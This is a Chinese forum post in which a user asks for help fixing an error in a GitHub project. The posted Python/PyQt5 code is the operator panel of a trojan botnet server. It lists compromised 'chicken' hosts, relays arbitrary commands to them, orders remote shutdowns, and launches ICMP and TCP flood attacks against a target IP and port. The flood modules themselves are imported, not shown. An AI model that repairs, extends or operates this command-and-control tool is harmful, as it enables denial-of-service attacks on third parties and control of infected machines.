|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
在github上下了一个开源项目,打算研究一下,但是出现了标题一样的错误,求各位大神们如何消除BUG,代码如下:
- import builtins
- import sys
- from PyQt5.QtCore import pyqtSignal, QObject, Qt
- from PyQt5.QtGui import QCursor
- from PyQt5.QtWidgets import QMenu, QWidget, QApplication, QListWidgetItem, QAction, QCheckBox, QLabel
- from control_panel import DetailMain
- STDprint = builtins.print
- from ServerUI import Ui_Server
- from server import TrojanServer, Chienken
- class Conmunication(QObject):
- chickenUpSignal = pyqtSignal(Chienken)
- selectChangeSignal = pyqtSignal(str)
- listFreshSignal = pyqtSignal(int, Chienken)
- refreshSignal = pyqtSignal()
- class ServerMain(QWidget, Ui_Server):
- def __init__(self):
- super().__init__()
- self.setupUi(self)
- builtins.print = self.displayLog
- self.trojanServer = TrojanServer()
- self.signals = Conmunication()
- self.trojanServer.signals = self.signals
- self.signals.chickenUpSignal.connect(self.addToCurrentList)
- self.freshCurrentList()
- self.ipInput.setText(self.trojanServer.bind_IP)
- self.usp.setText(str(self.trojanServer.udpPort))
- self.urp.setText(str(self.trojanServer.udpRecvPort))
- self.tp.setText(str(self.trojanServer.tcpPort))
- self.bind()
- print("Welcome!")
- def bind(self):
- self.cmdEdit.returnPressed.connect(self.sendCmd)
- self.signals.selectChangeSignal.connect(self.changeSelected)
- self.freshlist.clicked.connect(self.freshCurrentList)
- self.scanAll.clicked.connect(self.trojanServer.scanAll)
- self.signals.listFreshSignal.connect(self.freshItem)
- self.saveButton.clicked.connect(self.save)
- self.chickenlist.setContextMenuPolicy(Qt.CustomContextMenu)
- self.chickenlist.customContextMenuRequested.connect(self.myListWidgetContext)
- self.all_button.clicked.connect(self.checkall)
- self.reverse_button.clicked.connect(self.reverseCheck)
- self.icmpButton.clicked.connect(self.icmp)
- self.signals.refreshSignal.connect(self.freshlist.clicked.emit)
- self.deletebutton.clicked.connect(self.deleteSelected)
- self.shutdownButton.clicked.connect(self.shutChicken)
- self.stopbutton.clicked.connect(lambda :self.opeate("floodStop"))
- self.tcpfloodbutton.clicked.connect(self.tcpFlood)
- def deleteSelected(self):
- selected = self.getSelect()
- for i in reversed(selected):
- self.trojanServer.cmdQ.put("delete %d"%i)
- # for c in selected:
- # self.trojanServer.cmdQ.put("msg " + str(c) + " %s" % type)
- def icmp(self):
- self.opeate("icmpFlood %s" % self.attack_ip.text())
- def tcpFlood(self):
- self.opeate("tcpFlood %s %s" % (self.attack_ip.text(), self.attack_port.text()))
- def shutChicken(self):
- self.opeate(r"shutdown \s")
- def opeate(self, type):
- selected = self.getSelect()
- for c in selected:
- self.trojanServer.cmdQ.put("msg "+str(c)+" %s" % type)
- def freshItem(self, index, chicken):
- check:QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(index))
- check.setText("[%d][%s] %s\tip:%s\tport:%d "%(index,"在线" if chicken.online else "离线", chicken.name, chicken.ip, chicken.port))
- def myListWidgetContext(self, point):
- item = self.chickenlist.itemAt(point)
- if not item:
- return
- checkbox:QCheckBox = self.chickenlist.itemWidget(item)
- row = int(checkbox.text().split(']')[0][1:])
- popMenu = QMenu()
- a1 = QAction(u'连接', self)
- a2 = QAction(u'删除', self)
- popMenu.addAction(a1)
- popMenu.addAction(a2)
- a1.triggered.connect(lambda :self.openDetail(row))
- a2.triggered.connect(lambda :self.trojanServer.cmdQ.put("delete %d"%row))
- popMenu.exec_(QCursor.pos())
- def openDetail(self, row):
- print("control %d" %row)
- detail = DetailMain(self.trojanServer, row)
- detail.show()
- detail.connect_button.clicked.emit()
- def save(self):
- self.trojanServer.cmdQ.put("save")
- def sendCmd(self):
- cmd = self.cmdEdit.text()
- self.cmdEdit.clear()
- if cmd == "cls" or cmd == 'clear':
- self.logbrow.clear()
- return
- self.trojanServer.cmdQ.put(cmd)
- def changeSelected(self, name):
- # self.selectedLabel.setText(name)
- pass
- def displayLog(self, content, end='\n'):
- self.logbrow.append(str(content))
- self.logbrow.moveCursor(self.logbrow.textCursor().End)
- def freshCurrentList(self):
- i:int = 0
- online = self.online_check.isChecked()
- offline = self.offline_check.isChecked()
- self.chickenlist.clear()
- for chicken in self.trojanServer.allChickens:
- if (chicken.online and online) or (not chicken.online and offline):
- box = QCheckBox("[%d][%s] %s\tip:%s\tport:%d "%(i,"在线" if chicken.online else "离线", chicken.name, chicken.ip, chicken.port))
- item = QListWidgetItem()
- self.chickenlist.addItem(item)
- self.chickenlist.setItemWidget(item, box)
- box.clicked.connect(self.chickenChecked)
- i += 1
- def chickenChecked(self):
- sender = self.sender()
- print("check "+sender.text().split(']')[0][1:])
- def addToCurrentList(self, chicken:Chienken):
- self.freshCurrentList()
- def getSelect(self):
- count = self.chickenlist.count()
- res = []
- for i in range(0, count):
- box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
- if box.isChecked():
- res.append(i)
- return res
- def checkall(self):
- count = self.chickenlist.count()
- for i in range(0, count):
- box:QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
- box.setChecked(True)
- def reverseCheck(self):
- count = self.chickenlist.count()
- for i in range(0, count):
- box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
- box.setChecked(not box.isChecked())
- def clearCheck(self):
- count = self.chickenlist.count()
- for i in range(0, count):
- box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
- box.setChecked(False)
- def closeEvent(self, event):
- self.save()
- if __name__ == '__main__':
- app = QApplication(sys.argv)
- MainWin = ServerMain()
- MainWin.show()
- sys.exit(app.exec_())
复制代码 |
|